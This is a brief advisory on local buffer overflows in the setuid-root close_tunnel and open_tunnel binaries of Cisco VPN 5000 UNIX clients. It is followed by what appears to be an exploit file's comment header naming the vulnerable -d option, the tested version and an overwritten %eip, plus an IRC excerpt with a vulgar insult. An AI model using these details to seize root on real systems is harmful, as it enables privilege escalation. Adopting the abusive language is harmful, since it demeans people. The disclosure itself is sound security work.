Buffer overrun vulnerabilities have been reported in the Cisco VPN 5000 UNIX clients available for Linux and Solaris systems. The condition affects the binaries 'close_tunnel' and 'open_tunnel', both installed setuid root by default. Malicious local users may exploit these vulnerabilities to gain superuser privileges on the affected host.

*
* as you can see %eip got filled with 0x41 ;)
*
* tested:
*         - on release 5.1.5
*         - from package: vpn-5000-linux-5.1.5-des-k8.tar.Z
*         - system RedHat Linux 7.2 / x86
*
* Bug Information:
*  There are multiple unchecked buffers in the code which allow
*  arbitrary code to be executed with root privileges.
*  this is due to insufficient bounds checking.
*  the result is a classic command line buffer overflow condition.
*  This should be exploitable on Linux/Solaris.
*
* IRC:
*  <BrainStor> a standard cmd line buffer overflow in the -d option
*  <BrainStor> close_tunnel is set +s by default
*  <v0id> tsk tsk tsk, cisco making errors like that
*  <v0id> fucking stupid cunts
*  <BrainStor> yea
*  <BrainStor> its ubeliveable
*  <v0id> man, standard buffer overflow should be practiclly non existant 
these days
*  <v0id> oh well
*  <BrainStor> indeed
*  <BrainStor> but its good tho ;)
